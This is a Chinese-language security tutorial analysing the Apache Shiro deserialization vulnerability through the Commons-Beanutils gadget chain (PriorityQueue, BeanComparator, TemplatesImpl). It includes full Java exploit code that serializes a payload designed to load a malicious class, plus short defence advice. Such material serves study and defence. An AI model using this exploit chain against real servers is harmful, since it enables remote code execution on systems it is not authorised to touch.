shiro反序列化-CB链利用
字数 1325 2025-08-11 08:36:16
Apache Shiro反序列化漏洞分析:基于Commons-Beanutils的CB链利用
1. 基础知识
1.1 Commons-Beanutils简介
Commons-Beanutils是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。主要功能包括:
- 将Java Bean的属性值与键值对相互转换
- 对JavaBean功能进行增强
- Shiro框架自带此依赖
1.2 JavaBean规范
JavaBean是一种特定的Java类,遵循以下规范:
- 包含无参构造函数
- 属性私有化
- 提供公共的getter/setter方法
示例:
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// Getter和Setter方法
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
}
1.3 PropertyUtils类
PropertyUtils类能够动态调用getter/setter方法:
Person person = new Person("xilitter", 19);
System.out.println(PropertyUtils.getProperty(person, "name")); // 输出"xilitter"
2. 漏洞原理分析
2.1 核心漏洞点
PropertyUtils类的getProperty函数能够动态调用JavaBean的getter方法,关键调用链:
PropertyUtils.getProperty()PropertyUtilsBean.getProperty()MethodUtils.invokeMethod()- 最终通过反射调用目标方法
2.2 关键利用点
在TemplatesImpl类中存在符合JavaBean规范的方法:
getOutputProperties():该方法内部会调用newTransformer()方法newTransformer()方法是动态加载恶意类的关键
2.3 初步利用代码
TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置必要属性
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 触发漏洞
PropertyUtils.getProperty(templates, "outputProperties");
3. 完整利用链构造
3.1 利用链分析
完整利用链:
PriorityQueue.readObject()
-> siftUpUsingComparator()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> 动态加载恶意类
3.2 关键类说明
-
BeanComparator:
- 实现了Comparator接口
- compare()方法中调用PropertyUtils.getProperty()
-
PriorityQueue:
- 重写了readObject方法
- 可作为反序列化入口
- 通过comparator属性控制比较逻辑
3.3 序列化问题解决
直接使用会导致序列化时报错,因为:
- 第二个add操作会调用compare方法
- 字符串"2222"没有outputProperties属性
解决方案:
- 初始时使用TransformingComparator作为comparator
- 添加完元素后,通过反射将comparator改为BeanComparator
3.4 完整EXP代码
public class ShiroCBExploit {
public static void main(String[] args) throws Exception {
// 1. 准备TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
// 设置_name属性
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
// 设置_bytecodes属性(恶意类)
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
// 设置_tfactory属性
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 2. 构造比较器链
// 初始使用TransformingComparator避免序列化错误
TransformingComparator transformingComparator =
new TransformingComparator(new ConstantTransformer(1));
// 实际要使用的BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", null);
// 3. 构造PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("2222"); // 第二个元素用于触发比较
// 4. 通过反射将comparator改为BeanComparator
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);
// 5. 序列化
serialize(priorityQueue);
}
public static void serialize(Object object) throws IOException {
try (FileOutputStream fos = new FileOutputStream("shiro.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(object);
System.out.println("序列化成功");
}
}
}
4. 漏洞防御
- 升级Shiro到最新版本
- 使用官方提供的安全补丁
- 配置Shiro的反序列化过滤器
- 避免使用不安全的反序列化操作
5. 总结
本漏洞利用的关键点:
- 利用PropertyUtils.getProperty()动态调用getter方法
- 结合TemplatesImpl的getOutputProperties()方法加载恶意类
- 通过BeanComparator和PriorityQueue构造完整的反序列化链
- 使用反射技巧解决序列化过程中的问题
理解此漏洞需要对Java反序列化、反射机制以及Shiro框架有深入理解,建议在学习本漏洞前先掌握Commons Collections相关利用链。